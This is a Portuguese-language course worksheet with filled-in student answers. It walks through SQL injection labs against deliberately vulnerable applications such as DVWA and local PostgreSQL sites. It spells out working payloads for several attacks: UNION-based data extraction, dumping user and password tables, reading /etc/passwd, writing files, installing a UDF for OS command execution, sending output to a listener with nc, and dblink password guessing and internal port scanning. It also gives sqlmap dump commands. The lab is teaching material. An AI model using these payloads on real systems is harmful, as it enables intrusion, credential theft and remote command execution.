Sessão 6: Injeção de SQL

1. Atividade – Especificidades de SGBDs

Esta atividade tem por objetivo ilustrar as diferenças apresentadas por alguns sistemas gerenciadores de banco de dados. Para iniciá-la, carregue as máquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.

Empilhamento de comandos

O foco desta atividade é verificar o suporte a comandos empilhados.

1. Abra uma janela de terminal.
2. Conecte-se ao servidor Fedora e digite `esruser` como senha:

```
~$ ssh esruser@192.168.213.200
```

3. Conecte-se ao MySQL, utilizando a conta root:

```
~$ mysql --user=root mysql
```

4. Execute os seguintes comandos empilhados e veja se algum problema ocorre:

```
mysql> select @@version;select @@version;
```

5. Abra uma segunda janela de terminal.
6. Conecte-se ao servidor Fedora e digite `esruser` como senha:

```
~$ ssh esruser@192.168.213.200
```

7. Conecte-se ao PostgreSQL, utilizando a conta `postgres` , e, quando solicitada, forneça a senha `postgres` :

```
~$ psql postgres postgres
```

8. Execute os seguintes comandos empilhados e veja se algum problema ocorre:

```
postgres=# select version();select version();
```

Comando de pausa

Neste exercício, serão estudados os comandos de pausa, fornecidos pelos SGBDs.

1. No terminal de acesso ao MySQL, digite o comando abaixo e veja o que acontece:

```
mysql> select sleep(5);
```

2. Invoque a função de avaliação de desempenho:

```
mysql> select benchmark(5000000,sha1("Teste"));
```

3. Mude para o terminal de acesso ao PostgreSQL e digite:

```
postgres=# select pg_sleep(5);
```

Manipulação de caracteres e de cadeias de caracteres

O objetivo dessa prática é utilizar as funções e os operadores de manipulação de cadeias de caracteres.

1. No terminal de acesso ao MySQL, realize a concatenação de cadeias de caracteres:

```
mysql> select 'a' 'b', concat('a','b');
```

2. Extraia uma parte do texto `escola de redes`:

```
mysql> select substr("escola de redes",1,6);
```

3. Verifique o tamanho do texto `escola de redes`:

```
mysql> select length("escola de redes");
```

4. Descubra o código ASCII do caractere A e o caractere correspondente ao ASCII 112:

```
mysql> select ascii('A'),char(112);
```

5. Alternet para o terminal de acesso ao PostgreSQL e utilize o operador de concatenação:

```
postgres=# select 'a'||'bc';
```

6. Encerre as janelas de terminal.

2. Atividade – Descoberta de vulnerabilidades e exploração

O propósito desta atividade é introduzir ao aluno os métodos que podem ser utilizados para a descoberta de vulnerabilidades, exploráveis por meio de injeção de SQL. Todos os exercícios devem ser realizados na máquina virtual do aluno, e é altamente recomendado que se tente traçar a estratégia de exploração, antes de seguir o roteiro fornecido. Alguns arquivos de apoio estão contidos no diretório /home/esruser/Arquivos do Curso/sessao-. Por fim, sempre que a injeção conduzir à outra página da aplicação, após analisado o resultado, retorne à página anterior, pressionando Alt + Seta esquerda.

Testes básicos

Este exercício e a maioria dos que seguem neste capítulo serão realizados sobre a aplicação DVWA, criada para permitir que desenvolvedores, profissionais de segurança e estudantes aprendam sobre as vulnerabilidades que podem afetar aplicações web. Este primeiro roteiro engloba os testes básicos de injeção de SQL.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse o DVWA, por meio da barra de atalhos.
3. Autentique-se, fornecendo as credenciais `admin/password`.
4. No menu presente do lado esquerdo, clique em `SQL Injection`.
5. Digite uma aspa simples no campo `User ID` e clique em `Submit`. O que acontece? Alguma informação interessante para um teste de invasão é exibida?

Resposta: aparece uma mensagem informando um erro de sintaxe em um comando SQL

6. Digite `' or '1'='1` no campo `User ID` e clique em `Submit`. O que aparece?

Resposta: apareceu a lista de usuários contendo o primeiro nome e o sobrenome

7. Digite `' or 1=1--` no campo `User ID` e clique em `Submit`. Por que o erro acontece?

Resposta: porque no banco mysql o símbolo utilizado para comentário é o #

8. Corrija a entrada para `' or 1=1#` e repita o processo.

Extração de dados via UNION

Este exercício tem por finalidade introduzir a técnica de extração de dados baseada no operador UNION, além dos métodos para determinação do número de colunas e dos respectivos tipos.

Determinação do número de colunas

1. Na aplicação DVWA, na mesma página, digite o vetor abaixo e clique em `Submit`:

```
' union select null#
```

   O erro indica que há mais de uma coluna na tabela.

2. Realize o teste com duas colunas:

```
' union select null,null#
```

   Observe que a requisição foi executada com sucesso, o que indica que a consulta realizada possui duas colunas.

3. Faça o teste com a técnica baseada na cláusula `ORDER BY`:

```
' order by 1#
```

   Conforme esperado, nenhum erro acontece, uma vez que há duas colunas.

4. Repita o teste para duas colunas e verifique se algum erro acontece:

```
' order by 2#
```

5. Execute o mesmo teste para três colunas e diga se o que acontece é coerente com o esperado:

```
' order by 3#
```

Determinação dos tipos das colunas

1. Submeta o seguinte texto, para testar o tipo da primeira coluna:

```
' union select 'abc',null#
```

   A ausência de erro, decorrente da requisição, implica que a primeira coluna é textual.

2. Repita o processo para a segunda coluna, fornecendo:

```
' union select null, 'abc'#
```

É possível afirmar que o tipo da segunda coluna também é textual?

Resposta: sim pois não tivemos um erro.

Identificação do servidor de banco de dados

Apesar de já se saber o servidor de banco de dados utilizado, graças às mensagens de erro e ao tipo de comentário utilizado, neste exercício, o ratificará a informação e coletará outras mais acerca do banco de dados.

1. Na aplicação DVWA, na mesma página, digite o texto abaixo, para descobrir a versão, e clique em `Submit`:

```
' union select @@version,null#
```

2. Verifique a conta que a aplicação utiliza para acessar o banco de dados, fornecendo:

```
' union select current_user(),null#
```

3. Descubra o nome do banco de dados empregado pela aplicação, digitando:

```
' union select database(),null#
```

4. Repita o processo, utilizando o `sqlmap`. Para isso, inicie uma janela de terminal.
5. Digite o seguinte comando e verifique as opções disponíveis:

```
~$ sqlmap.py -h
```

6. Como a página vulnerável do DVWA só é acessível por uma sessão autenticada, é necessário obter o cookie definido pela aplicação. No Firefox, no menu `Tools`, selecione `Cookie Editor`.
7. Aumente a janela e clique individualmente nos cookies `PHPSESSID` e `security`, copiando o valor de cada um deles.
8. Clique em `Close` para encerrar o plugin `Cookie Editor`.
9. Copie a URL inteira presente na barra de endereços do Firefox.
10. A partir da URL e dos cookies coletados, monte um comando semelhante ao abaixo apresentado, para identificar o banco de dados utilizado:

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/?id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24;security=low" -f
```

11. Pressione `Enter` para as perguntas que forem sendo realizadas.
12. O SGBD foi corretamente identificado?

Resposta: sim

13. Repita o passo 10, substituindo a opção `f` por `b`, para captura do banner do SGBD:

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/?id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24;security=low" -b
```

14. Para descobrir o usuário corrente, troque a opção `-b` por `--current-user`:

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/?id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24;security=low" --current-user
```

15. Finalmente, substitua a opção `--current-user` por `--current-db`, para identificar o banco de dados utilizado pela aplicação:

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/?id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24;security=low" --current-db
```

16. Encerre a janela de terminal.

Escalada de privilégios

A proposta deste exercício é conseguir acesso mais privilegiado, que o proporcionado pela conta utilizada pela aplicação. Para isso, um ataque de dicionário contra a conta administrativa do PostgreSQL será efetuado.

1. Abra uma nova janela do Firefox, pressionando Ctrl+N.
2. Acesse http://pgsqli.esr.rnp.br/escalada.php.
3. Digite uma aspa simples no campo `Termos` e clique em Buscar Artigos. A aplicação exibe informações sobre o banco de dados utilizado? Anote todas as informações relevantes.

Resposta: Error: unterminated quoted string at or near ‘ LINE 1: select id, author, title from papers where title like ‘%’%’ ^

4. Com o campo Termos vazio, clique em Buscar Artigos. Correlacione os nomes de colunas descobertos no passo 3 com as exibidas pela consulta e infira o tipo de cada uma delas.
5. Verifique a versão do PostgreSQL, o identificador da conta que a aplicação utiliza, para acessar o SGBD, e o próprio nome do banco de dados:

```
' union select null,version(),user||':'||current_database()--
```

6. Suponha que se saiba da existência de uma tabela chamada `books`, cujas colunas são `id`, `author` e `title`. Tente extrair o conteúdo dela, por meio da técnica `UNION`:

```
' union select id,author,title from books--
```

A conta possui os privilégios necessários para realizar a operação?

Resposta: não

7. De modo a conseguir extrair informações das tabelas do banco, dentre as quais a `books`, é necessário escalar os privilégios da conta de acesso atual. Para isso, realize um ataque de dicionário contra a conta `postgres`, iniciando com a senha `password`:

```
' union select * from dblink('host=localhost user=postgres password=password','select 1,\'a\',\'b\'')
returns (i int, j text, k text)--
```

8. Repita o passo 7, com a senha `postgres`:

```
' union select * from dblink('host=localhost user=postgres password=postgres','select 1,\'a\',\'b\'')
returns (i int, j text, k text)--
```

9. Utilize o próprio `dblink` para extrair a tabela `books`, usando as credenciais administrativas:

```
' union select * from dblink('dbname=pgsqli host=localhost user=postgres password=postgres','select
id,author,title from books') returns (i int, j text, k text)--
```

Note que é necessário especificar o nome do banco de dados, obtido no Passo 5.

10. Feche a janela atual do Firefox.

Descoberta e extração de tabelas

Esta prática visa familiarizar o aluno com as diversas tabelas e visões que compõem o dicionário de dados do MySQL, e como elas podem ser empregadas para obter informações sobre os diversos objetos existentes nos bancos do servidor.

Parte I – Extração manual

1. Na aplicação DVWA, na página de Injeção de SQL, digite o vetor abaixo e clique em `Submit`, para descobrir as tabelas existentes nas bases gerenciadas pelo MySQL:

```
' and 1=2 union select table_schema,table_name from information_schema.tables where table_schema<>
'information_schema' order by 1#
```

2. Role a tela e veja as inúmeras tabelas presentes nos diversos esquemas.
3. Descubra as colunas da tabela `wackopicko.users`:

```
' and 1=2 union select column_name,data_type from information_schema.columns where
table_schema='wackopicko' and table_name='users'#
```

4. Selecione todas as linhas da tabela `wackopicko.users`, incluindo no resultado as colunas `login`, `password` e `salt`:

```
' and 1=2 union select login,concat(password,':',salt) from wackopicko.users#
```

5. Descubra as colunas da tabela `owasp10.accounts`:

```
' and 1=2 union select column_name,data_type from information_schema.columns where table_schema='owasp10'
and table_name='accounts'#
```

6. Selecione todas as linhas da tabela `owasp10.accounts`, incluindo no resultado as colunas `username` e `password`:

```
' and 1=2 union select username,password from owasp10.accounts#
```

Parte II – Extração automatizada

Nesta parte do exercício, o aluno aprenderá como extrair as mesmas tabelas com auxílio da ferramenta `sqlmap`.

1. Inicie uma janela de terminal.
2. Como a página vulnerável do DVWA só é acessível por uma sessão autenticada, é necessário obter o cookie definido pela aplicação. No Firefox, no menu `Tools`, selecione `Cookie Editor`.
3. Aumente a janela e clique individualmente nos cookies `PHPSESSID` e `security`, copiando o valor de cada um deles.
4. Clique em `Close` para encerrar o complemento `Cookie Editor`.

5. Copie a URL inteira presente na barra de endereços do Firefox.
6. A partir da URL e dos cookies coletados, monte um comando semelhante ao abaixo apresentado, para enumerar as tabelas existentes:

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/?id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24; security=low" --tables
```

7. Descubra as colunas da tabela `wackopicko.users`:

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/?id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24; security=low" --columns -D wackopicko -T users
```

8. Selecione todas as linhas da tabela `wackopicko.users`:

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/?id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24; security=low" --dump -D wackopicko -T users
```

   Responda `Y` para a pergunta `Fetching entries for table 'users' on database 'wackopicko' recognized possible password hash values`. Responda `Y` para a pergunta `Do you want to use dictionary attack on retrieved table items? [Y/n/q]` e pressione `Enter` para as duas próximas perguntas.

9. Veja o arquivo `CSV` gerado pela ferramenta:

```
~$ cat /home/esruser/.sqlmap/output/dvwa.esr.rnp.br/dump/wackopicko/users.csv
```

10. Descubra as colunas da tabela `owasp10.accounts`:

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/?id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24; security=low" --columns -D owasp10 -T accounts
```

11. Selecione todas as linhas da tabela `owasp10.accounts`:

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/? id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24; security=low" --dump -D owasp10 -T accounts
```

12. Encerre a janela de terminal.

Manipulação de arquivos

Diversos ataques contra a aplicação e o próprio sistema gerenciador de bancos de dados requerem a leitura e escrita de arquivos do sistema. Neste exercício, o aluno aprenderá como realizar essas tarefas explorando uma aplicação vulnerável baseada em MySQL.

Leitura de arquivos

1. Na aplicação DVWA, na página de Injeção de SQL, digite o vetor abaixo e clique em `Submit` para ler o arquivo` /etc/passwd `:

```
' and 1=2 union select load_file('/etc/passwd'),null#
```

2. Tente carregar, agora, o arquivo binário `/etc/mountpoint`:

```
' and 1=2 union select load_file('/bin/mountpoint'),null#
```

É fácil perceber que há diversos caracteres não imprimíveis, como esperado.

3. Leia o arquivo novamente, mas codificando-o em caracteres hexadecimais:

```
' and 1=2 union select hex(load_file('/bin/mountpoint')),null#
```

Escrita de arquivos

1. Abra uma janela de terminal.
2. Conecte-se ao servidor Fedora, fornecendo a senha `esruser`:

```
~$ ssh esruser@192.168.213.200
```

3. Liste os arquivos presentes no diretório `/tmp`:

```
~$ ls -l /tmp
```

4. Na aplicação DVWA, na página de Injeção de SQL, digite o vetor abaixo e clique em `Submit` para gravar os dados da tabela `wackopicko.users` no arquivo `/tmp/users.txt`:

```
' and 1=2 union select login,password from wackopicko.users into outfile '/tmp/users.txt'#
```

5. Retorne ao terminal e verifique que o arquivo foi criado:

```
~$ less /tmp/users.txt
```

6. Injete o seguinte texto no DVWA, na página de injeção de SQL, para criação de um arquivo binário contendo os bytes `{0x30, 0x45, 0x10}`:

```
' and 1=2 union select 0x304510,'' into outfile '/tmp/arq1.bin'#
```

7. Na janela de terminal, verifique o tamanho do arquivo:

```
~$ ls -l /tmp/arq1.bin
```

Por que o arquivo gerado possui 5 bytes, em vez de 3? Qual foi o erro cometido?

> **Resposta:** foi utilizada a função `into outfile` quando o correto deveria ser `into dumpfile`. Se você usar INTO DUMPFILE ao invés de INTO OUTFILE, o MySQL grava apenas uma linha no arquivo, sem nenhuma coluna ou terminação de linha e sem executar nenhum processamento de escape. Isso é útil se você quiser armazenar um valor BLOB em um arquivo. ver: http://ftp.nchu.edu.tw/MySQL/doc/refman/4.1/en/select.html

8. Gere um novo arquivo, via injeção de SQL no DVWA, com mesmo conteúdo:

```
' and 1=2 union select 0x304510,'' into dumpfile '/tmp/arq2.bin'#
```

9. Verifique o tamanho do arquivo `/tmp/arq2.bin`, na janela de terminal:

```
~$ ls -l /tmp/arq2.bin
```

10. Encerre a janela de terminal.

Função definida pelo usuário

Este exercício tem por objetivo a criação de funções de usuário, que permitam a execução de comandos no sistema operacional.

1. Acesse http://pgsqli.esr.rnp.br/index2.php, no Firefox.
2. Digite o valor abaixo no campo Termos e clique em Buscar Artigos:

```
';select replace(sys_eval('ls -l /'),'\n','<BR>')--
```

   Que erro ocorre?

   

   Resposta: a função sys_eval não foi implementada

3. Abra uma janela de terminal.
4. Acesse o diretório `/home/esruser/Arquivos\ do\ Curso/sessao-06/udf/postgresql/` :

```
~$ cd /home/esruser/Arquivos\ do\ Curso/sessao-06/udf/postgresql/
```

5. Abra o arquivo vetores.txt:

```
~$ gedit vetores.txt &
```

6. Selecione inteiramente o vetor identificado como P1 e pressione Ctrl+C.
7. Retorne à aplicação de busca de artigos, limpe o campo e cole o valor copiado, pressionando Ctrl+V. Essa etapa cria uma tabela temporária no banco de dados.
8. No gedit, selecione inteiramente o vetor identificado como P2 e pressione Ctrl+C.
9. Retorne à aplicação de busca de artigos, limpe o campo e cole o valor copiado, pressionando Ctrl+V. Essa etapa armazena, na tabela temporária, a representação em BASE64 da biblioteca a ser instalada.
10. No `gedit` , selecione inteiramente o vetor identificado como P3 e pressione Ctrl+C.
11. Retorne à aplicação de busca de artigos, limpe o campo e cole o valor copiado, pressionando Ctrl+V. Essa etapa cria um objeto do tipo large.
12. No gedit, selecione inteiramente o vetor identificado como P4 e pressione Ctrl+C.
13. Retorne à aplicação de busca de artigos, limpe o campo e cole o valor copiado, pressionando Ctrl+V. Essa etapa atualiza a parte de dados do objeto recém criado, para o conteúdo original da biblioteca.
14. No `gedit` , selecione inteiramente o vetor identificado como P5 e pressione Ctrl+C.
15. Retorne à aplicação de busca de artigos, limpe o campo e cole o valor copiado, pressionando Ctrl+V. Essa etapa grava a biblioteca no arquivo `/tmp/lib_postgresqludf_sys.so` .
16. No gedit, selecione inteiramente o vetor identificado como P6 e pressione Ctrl+C.
17. Retorne à aplicação de busca de artigos, limpe o campo e cole o valor copiado, pressionando Ctrl+V. Essa etapa cria quatro funções de usuário no PostgreSQL para execução de comandos e leitura de arquivos.
18. Repita o Passo 2 e veja o que acontece.
19. Encerre o gedit.
20. Para o próximo exercício, mantenha a aplicação de consulta de artigos e o terminal abertos.

Execução de comandos no sistema operacional

A prática anterior já ilustrou como executar comandos do sistema operacional, por meio de injeção de SQL baseada em função de usuário. Assim, o objetivo deste exercício é apenas agregar mais alguns exemplos.

1. No terminal, digite o seguinte comando, para escutar conexões na porta 10000:

```
~$ sudo nc -l -p 10000
```

2. Injete o seguinte valor na aplicação de busca de artigos:

```
';select sys_eval('echo "Teste" | nc 192.168.213.150 10000')--
```

3. Retorne ao terminal e veja o que aconteceu.
4. Para descobrir o endereço de rede do servidor, injete o seguinte valor na aplicação de busca de artigos:

```
';select replace(sys_eval('ifconfig'),'\n','<BR>')--
```

5. Encerre a janela de terminal.

Varredura de redes

Neste exercício, o aluno entenderá como realizar varredura da rede interna, por meio de injeção de SQL.

1. Injete o seguinte valor na aplicação de busca de artigos, para recuperar o endereço IP dos servidores de aplicação e de banco de dados:

```
' and 1=2 union select 1,host(inet_server_addr()), host(inet_client_addr())--
```

   O que indica o resultado devolvido pela aplicação?

> **Resposta:** As funções inet_server_addr() e inet_client_addr() obtem os endereços IP do servidor e dos clientes. A função host extrai o endereço IP do tipo text.
>
> Segundo o site http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet o resultado nulo acontece porque a conexão entre o frontend da aplicação e o banco de dados é local.

2. Digite o valor abaixo no campo `Termos` e clique em `Buscar Artigos`, para verificar se a máquina `192.168.213.150` está ativa e responsiva:

```
';select replace(sys_eval('ping -c 4 192.168.213.150'),'\n','<BR>')--
```

3. Digite o valor abaixo no campo `Termos` e clique em `Buscar Artigos`, para verificar se o serviço SSH está sendo executado na máquina `192.168.213.150`:

```
'; select 1,null,dblink_connect('host=192.168.213.150 port=22 connect_timeout=5')--
```

   A mensagem de erro exibida significa que o serviço está ativo?

> **Resposta:** sim

4. Injete o seguinte valor na aplicação de busca de artigos, para verificar se o Telnet está ativo na máquina `192.168.213.150`:

```
'; select 1,null,dblink_connect('host=192.168.213.150 port=23 connect_timeout=5')--
```

O que é possível concluir sobre o serviço Telnet na máquina especificada?

Resposta: que ele não esta ativo

Partição e balanceamento

Como vimos, a técnica de partição e balanceamento é importante, pois facilita o processo de injeção de SQL, em qualquer tipo de comando e na parte em que ocorre a vulnerabilidade. Nesse contexto, o roteiro abaixo ilustra como aplicar esse método.

1. Na aplicação de consulta de artigos, digite `Advanced` no campo `Termos` e clique em `Buscar Artigos`.
2. Repita o processo com o texto `Ad'||'vanced`. Houve mudança no resultado?

Resposta: não, mesmo resultado

3. Injete agora o seguinte vetor:

```
Ad'||cast((select '') as char)||'vanced
```

Observe que o SELECT acima pode ser substituído por outros, como o abaixo mostrado `Ad'||(select pg_sleep(5))||'vanced` o que faz essa injeção?

Resposta: o primeiro retorna o mesmo resultado. O segundo coloca o banco para dormir por 5 segundos.

4. Encerre a janela do Firefox.

Injeção de SQL às cegas

Neste exercício, o aluno aplicará a técnica de injeção de SQL às cegas, manualmente e com auxílio da ferramenta `sqlmap`.

Parte I – Processo manual

1. Inicie o Firefox, presente no menu Aplicativos\Internet.
2. Acesse http://pgsqlbi.esr.rnp.br/.
3. Preencha o campo `Autor` com o valor abaixo e clique em `Contar artigos` para verificar se o SGBD empregado é o `MySQL`:

```
a' '
```

4. Preencha o campo `Autor` com o valor abaixo e clique em `Contar artigos` para verificar se o SGBD empregado é o `Oracle`:

```
a' || bitand(1,1) || '
```

5. Preencha o campo `Autor` com o valor abaixo e clique em `Contar artigos`, para verificar se o SGBD empregado é o `PostgreSQL`:

```
a' || pg_sleep(5) || '
```

6. Preencha o campo `Autor` com uma aspa simples e clique em `Contar artigos`. A mensagem de erro fornece informações relevantes?

Resposta: Informa `erro na execução da consulta` demonstrando a possibilidade de realizar injeções de SQL

7. Digite `a` no campo `Autor` e clique em `Contar artigos`. Quantos artigos são encontrados?

Resposta: 3 artigos

8. Digite `abc` no campo `Autor` e clique em `Contar artigos`. Quantos artigos são encontrados?

Resposta: 0 artigos

9. Forneça `a' and 1=1--` para o campo `Autor` e clique em `Contar artigos`. Quantos artigos são encontrados? Por que este resultado foi obtido?

Resposta: 0 artigos. A cláusula where da consulta deve utilizar a expressão like '%<autor> %'. Com isso a expressão ficaria like '%a' and 1=1--%, ou seja, irá trazer apenas os artigos que terminem com a letra 'a'

10. Submeta agora o vetor `a%' and 1=1--`. Quantos artigos são encontrados?

Resposta: 3 artigos

11. A partir dos resultados obtidos, é possível concluir que a submissão de um vetor, como o abaixo, encontrará três artigos, se e somente se, a `<pergunta booleana>` for verdadeira:

```
a%' and <pergunta booleana>--
```

12. Com base no que foi levantado, descubra o nome da conta que é utilizada pela aplicação, para conectar-se ao banco de dados, por meio da técnica bit-a-bit. O seguinte vetor pode ser injetado, para descobrir o valor do bit 7 (se o resultado for diferente de 0 significa que o bit pesquisado é igual a 1):

```
a%' and ascii(substr(user,1,1))&128=128--
```

13. Descubra o valor do bit 6:

```
a%' and ascii(substr(user,1,1))&64=64--
```

14. Repita o processo para o bit 5:

```
a%' and ascii(substr(user,1,1))&32=32--
```

15. Idem para o bit 4:

```
a%' and ascii(substr(user,1,1))&16=16--
```

16. Idem para o bit 3:

```
a%' and ascii(substr(user,1,1))&8=8--
```

17. Idem para o bit 2:

```
a%' and ascii(substr(user,1,1))&4=4--
```

18. Idem para o bit 1:

```
a%' and ascii(substr(user,1,1))&2=2--
```

19. E, finalmente, o bit 0 é testado:

```
a%' and ascii(substr(user,1,1))&1=1--
```

20. Isso resulta na cadeia de bits 01110000, que é 112 em decimal e o código ASCII da letra p.
21. Você poderia continuar esse processo para cada uma das letras, porém, vamos utilizar o sqlmap para automatizar este processo.
22. Encerre o Firefox.

Parte II – Processo automatizado

1. Abra uma janela de terminal.
2. Para executar o sqlmap contra o mesmo formulário, digite o seguinte comando:

```
~$ sqlmap -u pgsqlbi.esr.rnp.br --current-user --current-db --form
```

3. Pressione `Enter` para a pergunta `Do you want to test this form? [Y/n/q]`.
4. Pressione `Enter` para a mensagem `Edit POST data [default: autor=&Submit1= Contar%20artigos] (Warning: blank fields detected):`.
5. Digite `n` e pressione `Enter` para a pergunta `Do you want to fill blank fields with random values? [Y/n]`.
6. Pressione `Enter` para todas as demais perguntas e aguarde até que o nome da conta que é utilizada pela aplicação seja descoberto (neste caso `postgres`).
7. Encerre a janela de terminal

Injeção de SQL de segunda ordem

Este último exercício explora a injeção de SQL de segunda ordem, em uma aplicação que permite que o usuário crie a própria conta.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse http://2ndsql.esr.rnp.br/
3. Tente se autenticar com as credenciais `admin/admin`. o que implica a mensagem de erro exibida?

Resposta: que a senha está errada portanto o usuário existe

4. Clique em `Novo usuário`.
5. Preencha os campos do formulário, informando o identificador de usuário `admin'--` e a senha que desejar.
6. Clique em `Registrar`. Note que nenhum erro ocorre, o que indica que a aplicação duplica as aspas da entrada ou não utiliza concatenação, para construir a consulta.
7. Autentique-se com a conta `admin'--`. Com que nome de usuário, a saudação é realizada?

Resposta: a saudação é `admin'--, seja bem-vindo!`

8. Clique em `Alterar senha`.
9. Forneça, como nova senha, a palavra `admin`.
10. Clique em `Alterar senha`.
11. Repita o passo 3 e observe o que acontece.
12. Encerre o Firefox.

Explique como o ataque funciona.

Resposta: registrar: insert into tabela (user, password) values ('admin'--', 'senha'). alterar senha: update tabela set password = 'senha' where user='admin'--'. A razão é que no update a aplicação não está realizando nenhum tipo de controle de aspas simples. A função insert esta transformando uma aspas simples em duas. Ver pg. 295

ENTREGA DA TAREFA

Para que seja considerada entregue você deve anexar a esta atividade no AVA o resultado do comando:.

```
~$ sqlmap -u "http://dvwa.esr.rnp.br/vulnerabilities/sqli/? id=a&Submit=Submit#" --
cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24; security=low" --dump -D owasp10 -T accounts
```

Obs.:

Lembre-se de substituir o valor do cookie `PHPSESSID` conforme demonstrado nesta atividade.

O arquivo resultado pode estar em formato de imagem ou texto.

Última atualização 2020-09-02 14:25:57 -0300